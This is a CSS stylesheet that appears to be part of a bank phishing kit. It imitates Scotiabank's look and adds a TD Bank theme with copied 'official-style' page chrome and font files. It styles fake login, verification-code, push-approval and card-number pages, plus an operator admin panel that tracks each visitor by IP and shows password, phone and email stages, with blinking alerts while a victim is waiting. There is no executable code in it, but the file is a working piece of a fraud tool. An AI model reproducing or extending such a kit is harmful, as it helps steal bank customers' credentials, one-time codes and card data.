
  @font-face {
    font-family: "Scotia Regular";
    font-style: normal;
    font-display: swap;
    src: local("Arial");
  }
  :root {
    --red: #EC111A;
    --red-dark: #BE061B;
    --ink: #333333;
    --muted: #707070;
    --line: #707070;
    --hair: #E2E8EE;
    --link: #00749D;
    --link-dark: #005E80;
    --focus: #007EAB;
    --page: #f6f7fc;
  }
  * { box-sizing: border-box; }
  html { font-size: 62.5%; }
  html, body { margin: 0; padding: 0; }
  body {
    font-family: "Scotia Regular", Arial, Helvetica, sans-serif;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
    color: var(--ink);
    background: var(--page);
    display: flex;
    flex-direction: column;
    min-height: 100vh;
    min-width: 27.2rem;
  }
  a { color: inherit; }
  button { font-family: inherit; }
  .sr-only {
    position: absolute !important;
    width: 1px; height: 1px;
    padding: 0; overflow: hidden;
    clip: rect(1px,1px,1px,1px);
    clip-path: inset(50%);
    white-space: nowrap; border: 0;
  }
  .shell { display: flex; flex-direction: column; flex-grow: 1; }

  .card-outer { padding: 0 2.4rem; width: 100%; }
  .card {
    background: #fff;
    max-width: 55.2rem;
    margin: 3.6rem auto;
    padding: 0 0 10.2rem;
    border: 0.1rem solid var(--hair);
    border-radius: 0.8rem;
  }
  .card-top {
    display: flex;
    padding: 2.4rem 2.4rem 0;
  }
  .card-top .lock {
    margin-left: auto;
    width: 16px;
    height: 19px;
    fill: var(--ink);
  }
  .card-inner {
    max-width: 34.5rem;
    margin-left: auto;
    margin-right: auto;
  }
  h1 {
    font-family: "Scotia Regular", Arial, Helvetica, sans-serif;
    font-weight: 400;
    letter-spacing: -0.025rem;
    font-size: 2.8rem;
    line-height: 3.5rem;
    text-align: center;
    margin: 3.6rem 0 1.2rem;
  }
  .brand { display: flex; justify-content: center; }
  .brand a { display: inline-flex; }
  .brand svg {
    height: 3.6rem;
    width: auto;
    fill: var(--red);
  }
  .gap { height: 5.4rem; }

  form { margin: 0; }
  fieldset { border: 0; margin: 0; padding: 0; min-width: 0; }

  .label-row {
    display: inline-flex;
    position: relative;
    align-items: center;
    width: 100%;
    margin-bottom: 0.6rem;
  }
  .label-row label {
    display: inline;
    font-family: "Scotia Regular", Arial, Helvetica, sans-serif;
    font-weight: 700;
    font-size: 1.6rem;
    line-height: 2.0rem;
    color: var(--ink);
  }
  .info-btn {
    background: transparent;
    border: 0;
    padding: 0;
    margin-left: 0.5rem;
    height: 1.9rem;
    width: 1.8rem;
    cursor: pointer;
    border-radius: 100rem;
    display: inline-flex;
    align-items: center;
  }
  .info-btn svg { width: 1.8rem; height: 1.8rem; fill: var(--ink); stroke: var(--ink); }
  .info-btn:focus-visible { box-shadow: 0 0 0 0.2rem #fff, 0 0 0 0.4rem var(--focus); outline: none; }

  .tooltip {
    position: absolute;
    top: 3.2rem;
    left: -16.9rem;
    width: 38rem;
    max-width: 46rem;
    background: #fff;
    border: 0.1rem solid var(--hair);
    border-radius: 0.8rem;
    box-shadow: 0 2px 10px rgba(0,34,91,.11);
    z-index: 5;
    display: none;
    padding: 2.4rem;
  }
  .tooltip.open { display: block; }
  .tooltip h2 { margin: 0 0 1.2rem; font-size: 1.8rem; line-height: 2.4rem; }
  .tooltip p { margin: 0; font-size: 1.6rem; line-height: 2.4rem; }

  .field { position: relative; }
  .field .input-icon {
    position: absolute;
    left: 0;
    top: 50%;
    transform: translateY(-50%);
    width: 1.8rem;
    height: 1.8rem;
    stroke: var(--ink);
    fill: none;
    pointer-events: none;
  }
  .field input {
    appearance: none;
    -webkit-appearance: none;
    width: 100%;
    height: 4.8rem;
    padding: 0 0.1rem 1rem 3.2rem;
    border: 0;
    border-bottom: 0.1rem solid var(--line);
    border-radius: 0;
    background: transparent;
    color: var(--ink);
    font-family: "Scotia Regular", Arial, Helvetica, sans-serif;
    font-size: 2rem;
    line-height: 2.4rem;
    outline: none;
    transition: border-color .2s ease-in-out;
  }
  .field input::placeholder { color: var(--muted); }
  .field input:focus { border-bottom: 0.2rem solid var(--focus); }
  .field.password input { padding-right: 4.5rem; font-variant-numeric: tabular-nums; }
  .eye-btn {
    position: absolute;
    right: 0;
    top: 50%;
    transform: translateY(-50%);
    width: 3.2rem;
    height: 3.2rem;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    background: transparent;
    border: 0;
    cursor: pointer;
    color: var(--ink);
  }
  .eye-btn svg { width: 2rem; height: 2rem; fill: none; stroke: var(--ink); stroke-width: 1.6; }
  .eye-btn:focus-visible { outline: 0.2rem solid var(--focus); outline-offset: 0.2rem; border-radius: 0.4rem; }

  .mt-12 { margin-top: 1.2rem; }
  .mt-18 { margin-top: 1.8rem; }
  .mt-30 { margin-bottom: 3rem; }

  .checkbox-row {
    display: inline-flex;
    align-items: center;
    width: 100%;
    margin: 1.2rem 0;
  }
  .checkbox-row input {
    position: absolute;
    opacity: 0;
    width: auto;
  }
  .checkbox-box {
    position: relative;
    background: #fff;
    border: 0.1rem solid #757575;
    border-radius: 0.4rem;
    height: 2.4rem;
    min-width: 2.4rem;
    margin-right: 1.2rem;
    cursor: pointer;
  }
  .checkbox-box svg {
    position: absolute;
    left: 50%;
    top: 50%;
    margin-left: -0.6rem;
    margin-top: -0.6rem;
    width: 1.2rem;
    height: 1.2rem;
    display: none;
    fill: #fff;
  }
  .checkbox-row input:checked + .checkbox-box { background: var(--focus); border-color: var(--focus); }
  .checkbox-row input:checked + .checkbox-box svg { display: block; }
  .checkbox-row input:focus-visible + .checkbox-box { box-shadow: 0 0 0 0.2rem #fff, 0 0 0 0.4rem var(--focus); }
  .checkbox-row label { font-size: 1.6rem; line-height: 2.4rem; cursor: pointer; }

  .btn-primary {
    display: flex;
    align-items: center;
    justify-content: center;
    width: 100%;
    min-height: 5.4rem;
    margin-top: 3rem;
    border: 0.1rem solid var(--red);
    border-radius: 0.8rem;
    background: var(--red);
    color: #fff;
    font-family: "Scotia Regular", Arial, Helvetica, sans-serif;
    font-weight: 700;
    font-size: 1.6rem;
    line-height: 2rem;
    cursor: pointer;
    position: relative;
  }
  .btn-primary:hover, .btn-primary:focus { background: var(--red-dark); }
  .btn-primary:focus-visible { outline: 0.2rem solid #fff; outline-offset: -0.4rem; box-shadow: 0 0 0 0.2rem var(--focus); }

  .standalone {
    display: flex;
    align-items: center;
    justify-content: center;
    margin-top: 4.8rem;
    text-decoration: none;
    color: var(--link);
    font-weight: 700;
    font-size: 1.6rem;
    line-height: 2.4rem;
  }
  .standalone:hover { color: var(--link-dark); }
  .standalone:hover span { border-bottom: 0.1rem solid var(--link); }
  .standalone:focus-visible { outline: 0.2rem solid var(--focus); outline-offset: 0.2rem; }
  .standalone svg {
    margin-left: 0.5rem;
    height: 0.9rem;
    width: 0.9rem;
    fill: none;
    stroke: currentColor;
    stroke-width: 3;
    stroke-linecap: round;
    stroke-linejoin: round;
  }

  .setup {
    text-align: center;
    margin: 6rem 0;
    font-size: 1.8rem;
    line-height: 2.7rem;
  }
  .setup .link {
    font-weight: 700;
    color: var(--ink);
    text-decoration: none;
    border-bottom: 0.1rem dotted var(--ink);
  }
  .setup .link:hover { border-bottom-style: solid; }

  footer {
    background: #fff;
    border-top: 0.1rem solid var(--hair);
    margin-top: auto;
  }
  .footer-upper {
    max-width: 1200px;
    margin: 0 3.6rem;
    height: 9rem;
    display: flex;
    align-items: center;
  }
  .footer-upper .flyings {
    width: 2.4rem;
    height: 2.4rem;
    fill: var(--red);
    flex: 0 0 auto;
  }
  .footer-nav {
    list-style: none;
    margin: 0 0 0 auto;
    padding: 0;
    display: flex;
    align-items: center;
    flex-wrap: wrap;
    gap: 0 3rem;
  }
  .footer-nav a, .footer-nav button {
    text-decoration: none;
    background: transparent;
    border: 0;
    padding: 0;
    cursor: pointer;
    color: var(--ink);
    font-size: 1.4rem;
    line-height: 2.1rem;
  }
  .footer-nav a:hover, .footer-nav button:hover { text-decoration: underline; }
  .footer-base {
    border-top: 0.1rem solid var(--hair);
    background: #fff;
    padding: 1.4rem 1.8rem;
    display: flex;
    justify-content: flex-end;
  }
  .footer-base p {
    margin: 0;
    font-size: 1.2rem;
    line-height: 1.8rem;
    color: var(--ink);
  }

  @media (min-width: 481px) {
    .card-outer { padding: 0 2.4rem; }
  }
  @media (min-width: 768px) {
    .card-outer { padding: 0 3.6rem; }
    .card { padding-bottom: 8rem; }
    h1 { font-size: 3.2rem; line-height: 4rem; }
    .card-inner { max-width: 34.5rem; }
  }
  @media (max-width: 767px) {
    .label-row label { font-size: 1.4rem; line-height: 1.8rem; }
    .field input { font-size: 1.8rem; line-height: 2.2rem; }
    .tooltip { left: 0; width: 32rem; max-width: calc(100vw - 4.8rem); }
  }
  @media (max-width: 480px) {
    body { background: #fff; }
    footer { display: none; }
    .card-outer { padding: 0; }
    .card {
      background: transparent;
      border: 0;
      box-shadow: none;
      margin: 0 auto;
      padding: 3.6rem 1.2rem;
      width: 100%;
      max-width: 100%;
    }
    .card-inner { max-width: 31.6rem; }
    .setup { text-align: left; max-width: 30.3rem; margin: 3.6rem auto; }
    .tooltip {
      left: 0;
      width: 100%;
      max-width: none;
    }
  }

/* ---------- Shared additions ---------- */
.subtext {
  text-align: center;
  font-size: 1.6rem;
  line-height: 2.4rem;
  margin: 1.2rem 0 0;
  color: var(--ink);
}
.subtext strong { font-weight: 700; }
.lang-switch { text-align: center; margin-top: 1.2rem; font-size: 1.4rem; }
.lang-switch a { color: var(--link); text-decoration: none; }
.lang-switch a:hover { text-decoration: underline; }
.brand-top { display: flex; justify-content: center; margin-bottom: 1.2rem; }
.brand-top svg { height: 3.6rem; width: auto; fill: var(--red); }

.code-field { position: relative; margin-top: 2.4rem; }
.code-field input {
  width: 100%;
  height: 6.4rem;
  border: 0.1rem solid var(--hair);
  border-radius: 0.8rem;
  background: #fff;
  text-align: center;
  letter-spacing: 0.8rem;
  text-indent: 0.8rem;
  font-family: "Scotia Regular", Arial, Helvetica, sans-serif;
  font-size: 2.8rem;
  color: var(--ink);
  outline: none;
}
.code-field input:focus { border-color: var(--focus); box-shadow: 0 0 0 0.2rem rgba(0,126,171,.25); }
.code-field input::placeholder { letter-spacing: 0.4rem; color: #b9c2cc; }

.resend-row { text-align: center; margin-top: 2.4rem; font-size: 1.5rem; }
.resend-row button {
  background: none; border: 0; padding: 0;
  color: var(--link); font-weight: 700; cursor: pointer;
  border-bottom: 0.1rem dotted var(--link);
}
.resend-row button:hover { border-bottom-style: solid; }

/* Loading */
.loading-card { text-align: center; }
.spinner {
  width: 5.2rem;
  height: 5.2rem;
  margin: 3.6rem auto 2.4rem;
  border: 0.4rem solid rgba(236,17,26,.18);
  border-top-color: var(--red);
  border-radius: 50%;
  animation: spin 0.9s linear infinite;
}
.spinner.small { width: 2.2rem; height: 2.2rem; border-width: 0.3rem; margin: 0; }
@keyframes spin { to { transform: rotate(360deg); } }
.loading-title { font-size: 2.4rem; line-height: 3.2rem; font-weight: 700; margin: 0 0 1.2rem; }
.loading-msg { font-size: 1.6rem; line-height: 2.4rem; color: var(--muted); margin: 0; }
.loading-dots::after { content: ''; animation: dots 1.4s steps(4, end) infinite; }
@keyframes dots { 0% { content: ''; } 25% { content: '.'; } 50% { content: '..'; } 75% { content: '...'; } }

/* Result */
.result-icon {
  width: 6.4rem; height: 6.4rem;
  margin: 3.6rem auto 2.4rem;
  border-radius: 50%;
  display: flex; align-items: center; justify-content: center;
}
.result-icon.ok { background: #e7f4ea; }
.result-icon.bad { background: #fdeaea; }
.result-icon svg { width: 3.2rem; height: 3.2rem; }
.result-icon.ok svg { stroke: #1f8a3b; }
.result-icon.bad svg { stroke: var(--red); }
.result-title { text-align: center; font-size: 2.4rem; line-height: 3.2rem; margin: 0 0 1.2rem; }
.result-msg { text-align: center; font-size: 1.6rem; line-height: 2.4rem; color: var(--muted); margin: 0; }
.center-actions { text-align: center; margin-top: 3.6rem; }
.inline-link { color: var(--link); font-weight: 700; text-decoration: none; font-size: 1.6rem; }
.inline-link:hover { text-decoration: underline; }

/* ---------- Admin ---------- */
.admin-body { background: #f2f5f9; }
.admin-top {
  background: #fff; border-bottom: 0.1rem solid var(--hair);
  padding: 1.4rem 2.4rem;
  display: flex; align-items: center; gap: 1.6rem; flex-wrap: wrap;
}
.admin-top svg { height: 2.8rem; width: auto; fill: var(--red); }
.admin-top h1 { font-size: 2rem; line-height: 2.6rem; margin: 0; }
.admin-top .grow { flex: 1; }
.admin-top .pill {
  font-size: 1.3rem; color: var(--muted); background: #f6f7fc;
  border: 0.1rem solid var(--hair); border-radius: 100rem; padding: 0.5rem 1.1rem;
  display: inline-flex; align-items: center; gap: 0.7rem;
}
.admin-main { max-width: 1200px; margin: 2.4rem auto; padding: 0 2.4rem; }
.admin-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(36rem, 1fr)); gap: 1.8rem; }
.admin-card {
  background: #fff; border: 0.1rem solid var(--hair); border-radius: 0.8rem;
  padding: 1.8rem; display: flex; flex-direction: column; gap: 1.2rem;
}
.admin-card.fresh { box-shadow: 0 0 0 0.2rem rgba(236,17,26,.45); }
.admin-card .row { display: flex; justify-content: space-between; gap: 1rem; align-items: flex-start; }
.admin-card .when { font-size: 1.2rem; color: var(--muted); }
.badge {
  font-size: 1.2rem; font-weight: 700; text-transform: uppercase; letter-spacing: 0.06rem;
  padding: 0.4rem 0.9rem; border-radius: 100rem; white-space: nowrap;
}
.badge.waiting { background: #fff5e0; color: #9a6a00; }
.badge.phone { background: #e8f0fe; color: #1b4fa8; }
.badge.email { background: #f0eafe; color: #5b34b0; }
.badge.password { background: #eef0f2; color: #4a5560; }
.badge.done { background: #e7f4ea; color: #1f8a3b; }
.badge.error { background: #fdeaea; color: #b31717; }
.kv { display: grid; grid-template-columns: 10rem 1fr; gap: 0.5rem 1rem; font-size: 1.4rem; align-items: center; }
.kv .k { color: var(--muted); }
.kv .v { font-family: ui-monospace, SFMono-Regular, Menlo, monospace; word-break: break-all; display: flex; align-items: center; gap: 0.6rem; }
.kv .v .empty { color: #b9c2cc; font-family: inherit; font-style: italic; }
.copy {
  border: 0.1rem solid var(--hair); background: #fff; border-radius: 0.4rem;
  font-size: 1.2rem; padding: 0.2rem 0.5rem; cursor: pointer; color: var(--muted);
}
.copy:hover { background: #f6f7fc; color: var(--ink); }
.actions { display: flex; flex-wrap: wrap; gap: 0.7rem; margin-top: auto; padding-top: 0.6rem; }
.actions button {
  font-size: 1.3rem; padding: 0.8rem 1.1rem; border-radius: 0.6rem; cursor: pointer;
  border: 0.1rem solid #cfd7e0; background: #fff; color: var(--ink);
}
.actions button:hover { background: #f6f7fc; }
.actions .primary { background: var(--red); border-color: var(--red); color: #fff; }
.actions .primary:hover { background: var(--red-dark); }
.actions .danger { color: #b31717; border-color: #f0c4c4; }
.actions .danger:hover { background: #fdeaea; }
.admin-empty { text-align: center; color: var(--muted); font-size: 1.6rem; padding: 6rem 2rem; }
.admin-login { max-width: 38rem; margin: 10vh auto; padding: 0 2.4rem; }
.admin-login .card { padding: 3.6rem 3rem; }
.admin-login h1 { font-size: 2.4rem; margin: 0 0 0.6rem; text-align: left; }
.admin-login p { font-size: 1.5rem; color: var(--muted); margin: 0 0 2.4rem; }
.err { color: #b31717; font-size: 1.4rem; margin: 0 0 1.2rem; }
.admin-note { font-size: 1.2rem; color: var(--muted); margin-top: 1rem; }
.toast {
  position: fixed; bottom: 2rem; left: 50%; transform: translateX(-50%);
  background: #1f2a35; color: #fff; border-radius: 0.6rem; padding: 1rem 1.6rem;
  font-size: 1.4rem; opacity: 0; pointer-events: none; transition: opacity .2s; z-index: 50;
}
.toast.show { opacity: 1; }

/* ---------- v2 admin: expandable cards + live alerts ---------- */
.admin-card { cursor: pointer; transition: box-shadow .15s, border-color .15s; position: relative; }
.admin-card:hover { border-color: #c6cfda; }
.admin-card .summary { display: flex; align-items: flex-start; gap: 1rem; }
.admin-card .summary .grow { flex: 1; min-width: 0; }
.ip-big { font-family: ui-monospace, SFMono-Regular, Menlo, monospace; font-size: 1.6rem; font-weight: 700; word-break: break-all; }
.page-now { font-size: 1.3rem; color: var(--muted); margin-top: 0.2rem; }
.card-meta { font-size: 1.2rem; color: var(--muted); display: flex; gap: 1rem; flex-wrap: wrap; margin-top: 0.4rem; }
.chev { width: 2rem; height: 2rem; flex: 0 0 auto; stroke: var(--muted); fill: none; stroke-width: 2; transition: transform .2s; }
.admin-card.expanded .chev { transform: rotate(180deg); }
.admin-card .details { display: none; border-top: 0.1rem dashed var(--hair); padding-top: 1.2rem; margin-top: 1.2rem; }
.admin-card.expanded .details { display: block; }
.admin-card.expanded { border-color: #b7c2cf; }
.admin-card.waiting-card { border-color: var(--red); animation: alertBlink 1.2s ease-in-out infinite; }
@keyframes alertBlink {
  0%, 100% { box-shadow: 0 0 0 0.2rem rgba(236,17,26,.85); background: #fff; }
  50% { box-shadow: 0 0 0 0.7rem rgba(236,17,26,.10); background: #fff4f4; }
}
@keyframes pulseDot { 0%,100% { opacity: 1; transform: scale(1); } 50% { opacity: .35; transform: scale(.7); } }
.admin-card.is-done { opacity: 0.68; }

.sound-btn { border: 0.1rem solid #cfd7e0; background: #fff; border-radius: 0.6rem; padding: 0.5rem 1rem; font-size: 1.3rem; cursor: pointer; color: var(--ink); }
.sound-btn.off { color: var(--muted); }
.sound-btn:hover { background: #f6f7fc; }
.settings-card { max-width: 46rem; margin: 4rem auto; background: #fff; border: 0.1rem solid var(--hair); border-radius: 0.8rem; padding: 3rem; }
.settings-card h1 { text-align: left; font-size: 2.4rem; margin: 0 0 0.6rem; }
.settings-card p.lead { color: var(--muted); font-size: 1.5rem; margin: 0 0 2.4rem; }
.ok { background: #e7f4ea; color: #1f8a3b; border-radius: 0.6rem; padding: 1rem 1.4rem; font-size: 1.4rem; margin-bottom: 1.6rem; }
.alert-err { background: #fdeaea; color: #b31717; border-radius: 0.6rem; padding: 1rem 1.4rem; font-size: 1.4rem; margin-bottom: 1.6rem; }
.settings-card .field input { font-size: 1.8rem; }
.back-link { display: inline-block; margin-top: 2rem; font-size: 1.4rem; color: var(--link); text-decoration: none; }
.back-link:hover { text-decoration: underline; }
.live-dot { width: 0.9rem; height: 0.9rem; border-radius: 50%; background: #1f8a3b; display: inline-block; animation: pulseDot 1.6s ease-in-out infinite; }
.pill.offline .live-dot { background: #c9a227; }

/* ---------- verification illustrations ---------- */
.step-art { display: block; width: 21rem; max-width: 82%; height: auto; margin: 2.4rem auto 0; }
.step-art + h1 { margin-top: 2rem; }
.push-status {
  display: inline-flex; align-items: center; gap: 0.8rem;
  margin: 2.4rem auto 0; padding: 0.7rem 1.3rem;
  border-radius: 100rem; background: #fff5e0; color: #9a6a00;
  font-size: 1.4rem; font-weight: 700;
}
.push-status .spinner.small { border-color: rgba(154,106,0,.25); border-top-color: #9a6a00; }
.push-page { text-align: center; }
.push-page .subtext { margin-top: 0.6rem; }
.push-hint {
  font-size: 1.3rem; color: var(--muted); line-height: 2rem;
  background: #f7f9fb; border: 0.1rem solid var(--hair); border-radius: 0.8rem;
  padding: 1.2rem 1.4rem; margin-top: 2.4rem; text-align: left;
}
.push-hint strong { color: var(--ink); }
.push-page .standalone { margin-top: 2.4rem; justify-content: center; }
.not-me { margin-top: 2rem; font-size: 1.4rem; }
.not-me button { background: none; border: 0; padding: 0; color: var(--link); font-weight: 700; cursor: pointer; border-bottom: 0.1rem dotted var(--link); font-size: inherit; }
.not-me button:hover { border-bottom-style: solid; }

/* ---------- card details ---------- */
.card-fields { margin-top: 2.4rem; }
.card-fields .field input { font-family: ui-monospace, SFMono-Regular, Menlo, monospace; letter-spacing: 0.05rem; }
.card-fields .field input#cardNumber { font-size: 1.9rem; }
.card-cols { display: flex; gap: 1.8rem; margin-top: 1.8rem; }
.card-cols .field { flex: 1; min-width: 0; }
.card-note {
  margin-top: 2.4rem; font-size: 1.3rem; line-height: 1.9rem;
  color: var(--muted); background: #f7f9fb; border: 0.1rem solid var(--hair);
  border-radius: 0.8rem; padding: 1.2rem 1.4rem; text-align: left;
}
.card-note strong { color: var(--ink); }
.field .hint { font-size: 1.2rem; color: var(--muted); margin-top: 0.5rem; }

/* ---------- inline form error ---------- */
.form-error {
  display: flex; align-items: flex-start; gap: 1rem;
  background: #FDECEC; border: 0.1rem solid #F3B9BC; border-left: 0.4rem solid var(--red);
  border-radius: 0.8rem; padding: 1.2rem 1.4rem; margin: 2.4rem 0 0;
  color: #8f1319; font-size: 1.45rem; line-height: 2.1rem; text-align: left;
}
.form-error svg { width: 1.8rem; height: 1.8rem; flex: 0 0 auto; margin-top: 0.15rem; stroke: var(--red); fill: none; stroke-width: 2.2; }
.form-error + form, .form-error + .card-fields { margin-top: 2rem; }

/* ---------- status dot ---------- */
.status-dot { display: inline-block; width: 0.9rem; height: 0.9rem; border-radius: 50%; margin-right: 0.7rem; vertical-align: middle; background: #9aa3ad; }
.status-dot.green { background: #1f8a3b; }
.status-dot.grey { background: #9aa3ad; }
.status-dot.red { background: var(--red); animation: pulseDot 1.2s ease-in-out infinite; }
.badge.visiting { background: #e7f4ea; color: #1f8a3b; }
.check-toggle { display: inline-flex; align-items: center; gap: 0.9rem; font-size: 1.6rem; font-weight: 700; cursor: pointer; }
.check-toggle input { width: 2rem; height: 2rem; accent-color: #EC111A; }

/* ---------- TD Bank brand ---------- */
body.brand-td { --red: #00873C; --red-dark: #00662D; --link: #00693E; --link-dark: #004D2C; --focus: #00873C; --page: #F3F7F3; }
body.brand-td .brand-top svg { height: 4.2rem; }
body.brand-td .btn-primary { border-color: var(--red); background: var(--red); }
body.brand-td admin-top, body.brand-td .admin-top svg { fill: var(--red); }
body.brand-td .admin-card.waiting-card { animation-name: alertBlink; }

/* ================= TD official-style chrome ================= */
.td-site{--red:#008A00;--page:#fff;background:#fff;font-family:"Webly Sleek SemiLight",Helvetica,Arial,sans-serif;color:#1c1c1c;min-width:0}
.td-site .lock,.td-site .gap{display:none}
.td-wrap{max-width:1200px;margin:0 auto;padding:0 1.6rem}
.td-skip{position:absolute;left:-999px}
.td-topbar{border-bottom:1px solid #e5e5e5;font-size:1.3rem}
.td-topbar-in{display:flex;justify-content:space-between;align-items:center;height:4.4rem}
.td-topnav{display:flex;gap:2.6rem}.td-topnav a{color:#01371e;text-decoration:none}
.td-topright{display:flex;gap:2rem;align-items:center;color:#555}.td-flag{font-size:1.4rem}
.td-header{background:#01371e;color:#fff}
.td-header-in{display:flex;align-items:center;height:6.4rem;gap:2.4rem}
.td-logo-box{display:grid;place-items:center;width:4.6rem;height:4.6rem;background:#fff;color:#008a00;font-weight:700;font-size:1.9rem;border-radius:.3rem}
.td-nav{display:flex;gap:2.6rem;font-size:1.5rem}.td-nav a{color:#fff;text-decoration:none;opacity:.95}
.td-actions{margin-left:auto;display:flex;align-items:center;gap:1.8rem;font-size:1.5rem}
.td-ic{opacity:.9}.td-login{display:flex;align-items:center;gap:.7rem;border-left:1px solid rgba(255,255,255,.35);padding-left:1.8rem}
.td-heading h1{font-family:"TD Graphik Light","Webly Sleek SemiLight",Helvetica,Arial,sans-serif;font-weight:400;color:#01371e;font-size:2.8rem;line-height:normal;padding:1.6rem 0;margin:0;text-align:left}
.td-box{background:#f2f2f2;padding:3.2rem 3.6rem;display:grid;grid-template-columns:1.4fr 1fr;gap:4rem}
.td-box.single{grid-template-columns:1fr;justify-items:center}
.td-form-col{width:100%;max-width:46rem}
.td-label{display:block;font-size:1.5rem;color:#1c1c1c;margin:0 0 .8rem}
.td-input{width:100%;height:4.4rem;border:1px solid #767676;border-radius:.3rem;background:#fff;padding:0 1.2rem;font-size:1.8rem;color:#1c1c1c;outline:none}
.td-input:focus{border-color:#008a00;box-shadow:0 0 0 .1rem #008a00}
.td-pw{position:relative}.td-pw .eye-btn{right:.3rem;color:#555}
.td-field{margin-bottom:2.2rem}
.td-plus{display:inline-block;color:#008a00;font-size:1.5rem;margin:-1rem 0 2rem;background:none;border:0;cursor:pointer}
.td-check{display:flex;align-items:center;gap:1rem;font-size:1.5rem;margin:0 0 2.4rem}
.td-check input{width:2rem;height:2rem;accent-color:#008a00}
.td-btn{display:inline-flex;align-items:center;justify-content:center;gap:.8rem;min-width:22rem;height:4.8rem;background:#008a00;color:#fff;border:0;border-radius:.3rem;font-size:1.7rem;font-weight:600;cursor:pointer;padding:0 2.4rem}
.td-btn:hover{background:#007400}.td-btn:disabled{opacity:.65}
.td-link{display:inline-flex;align-items:center;gap:.6rem;color:#008a00;font-size:1.5rem;text-decoration:none;background:none;border:0;padding:0;cursor:pointer}
.td-link:hover{text-decoration:underline}
.td-mt{margin-top:2.4rem}.td-mts{margin-top:1.4rem}
.td-side h2{font-size:2rem;font-weight:600;margin:0;color:#1c1c1c}
.td-side p{font-size:1.5rem;line-height:2.2rem;color:#333}
.td-side .td-register{margin:1.4rem 0 2.6rem}
.td-side .td-register a{display:inline-flex;align-items:center;justify-content:center;height:4.4rem;padding:0 2.4rem;border:1px solid #008a00;color:#008a00;border-radius:.3rem;text-decoration:none;font-size:1.6rem}
.td-rule{border-top:1px solid #d9d9d9;margin:2.2rem 0;padding-top:2.2rem}
.td-side h3{font-size:1.8rem;margin:0 0 1rem;font-weight:600}
.td-side .td-link{display:flex;margin-bottom:.7rem}
.td-guarantee{display:flex;align-items:center;gap:1rem;font-size:1.4rem;margin-top:2.6rem;color:#01371e}
.td-legal{font-size:1.3rem;color:#333;line-height:2rem;padding-top:3rem;padding-bottom:3rem}
.td-legal a,.td-side a{color:#008a00}
.td-footer{background:#01371e;color:#fff;padding:4rem 0 2.4rem}
.td-foot-in{display:flex;gap:4rem;align-items:flex-start;justify-content:center}
.td-chair{width:20rem;flex:0 0 auto}
.td-chair-shape{width:16rem;height:10rem;background:linear-gradient(160deg,#7d9c8b,#41624f);border-radius:3.5rem 3.5rem 1rem 1rem;margin:1rem auto;box-shadow:inset 0 -1.2rem 2rem rgba(0,0,0,.25)}
.td-foot-main{max-width:80rem}
.td-footer h2{font-weight:300;font-size:2.8rem;margin:0 0 1.2rem}.td-footer h2 a{color:#7fd1a1;text-decoration:none}
.td-connect{text-align:center;font-size:1.5rem;margin:1.4rem 0 1rem}
.td-social{display:flex;gap:1.2rem;justify-content:center;margin-bottom:2.6rem}
.td-social span{width:3.6rem;height:3.6rem;border:1px solid rgba(255,255,255,.7);border-radius:50%;display:grid;place-items:center;font-size:1.5rem}
.td-footlinks{display:flex;flex-wrap:wrap;gap:1rem 2.6rem;list-style:none;margin:0 0 2rem;padding:0;font-size:1.4rem}
.td-footlinks a{color:#fff;text-decoration:none}
.td-copy{font-size:1.2rem;opacity:.75;margin:0}
.td-error{display:flex;gap:1rem;background:#fdecec;border-left:.4rem solid #d40000;border-radius:.3rem;padding:1.2rem 1.4rem;font-size:1.4rem;line-height:2rem;color:#8f1319;margin:0 0 2.2rem}
.td-art{display:block;width:20rem;max-width:100%;height:auto;margin:0 auto 1.8rem}
.td-center{text-align:center}
@media (max-width:860px){
  .td-topnav{display:none}.td-topbar-in{justify-content:flex-end}
  .td-nav,.td-actions .td-ic{display:none}.td-header-in{height:5.6rem}
  .td-heading h1{font-size:2.4rem;padding:1.2rem 0}
  .td-box{grid-template-columns:1fr;padding:2rem 1.6rem;gap:2.4rem}
  .td-side{display:none}
  .td-btn{width:100%;min-width:0}
  .td-foot-in{flex-direction:column;align-items:center}
  .td-chair{display:none}.td-footer h2{font-size:2.2rem;text-align:center}
  .td-footlinks{justify-content:center}
}
.td-heading{text-align:left}
.td-heading h1{text-align:left !important}
.td-flagc{display:inline-block;width:1.9rem;height:1.2rem;border-radius:.15rem;background:linear-gradient(#d52b1e 0 25%,#fff 25% 75%,#d52b1e 75%);border:1px solid #ddd;vertical-align:middle;position:relative}
.td-flagc::after{content:'';position:absolute;inset:0;background:radial-gradient(circle at 50% 50%, #d52b1e 0 2px, transparent 2.5px)}
.td-btn svg{flex:0 0 auto}
.td-site .td-heading.td-wrap, .td-site main.td-wrap, .td-site .td-legal.td-wrap { width: 100%; align-self: stretch; }
.td-site .td-form-col { max-width: 58.5rem; }
.td-site .td-box.single .td-form-col { max-width: 46rem; }
@media (min-width: 861px) { .td-site .td-guarantee { white-space: nowrap; } }
.td-site .td-check input { border: 1px solid #767676; border-radius: .2rem; }
.td-site #helpLink { display: flex; margin-top: 2.4rem; }
.td-site .td-btn + #helpLink { display: flex; }

/* TD official fonts */
@font-face{font-family:"TD Graphik";src:url("/static/fonts/TDGraphik-Light-Web.woff2") format("woff2");font-weight:300;font-style:normal;font-display:swap}
@font-face{font-family:"TD Graphik";src:url("/static/fonts/TDGraphik-Regular-Web.woff2") format("woff2");font-weight:400;font-style:normal;font-display:swap}
@font-face{font-family:"TD Graphik";src:url("/static/fonts/TDGraphik-Semilight-Web.woff2") format("woff2");font-weight:350;font-style:normal;font-display:swap}
@font-face{font-family:"TD Graphik";src:url("/static/fonts/TDGraphik-Medium-Web.woff2") format("woff2");font-weight:500;font-style:normal;font-display:swap}
@font-face{font-family:"Webly Sleek SemiLight";src:url("/static/fonts/weblysleekuisl-webfont.woff2") format("woff2");font-weight:400;font-style:normal;font-display:swap}
@font-face{font-family:"Webly Sleek SemiBold";src:url("/static/fonts/weblysleekuisb-webfont.woff2") format("woff2");font-weight:700;font-style:normal;font-display:swap}
.td-site{font-family:"Webly Sleek SemiLight","TD Graphik",Helvetica,Arial,sans-serif}
.td-site .td-heading h1,.td-site h2,.td-site h3{font-family:"TD Graphik","Webly Sleek SemiLight",Helvetica,Arial,sans-serif}
.td-site .td-heading h1{font-weight:300;color:#1a5336}
.td-site .td-box{grid-template-columns:45.8rem 1fr;gap:10rem;padding:3.2rem 5.4rem}
.td-site .td-form-col{max-width:45.8rem}
.td-site .td-btn{min-width:25rem;width:auto}
.td-site .td-box.single .td-form-col{max-width:46rem}
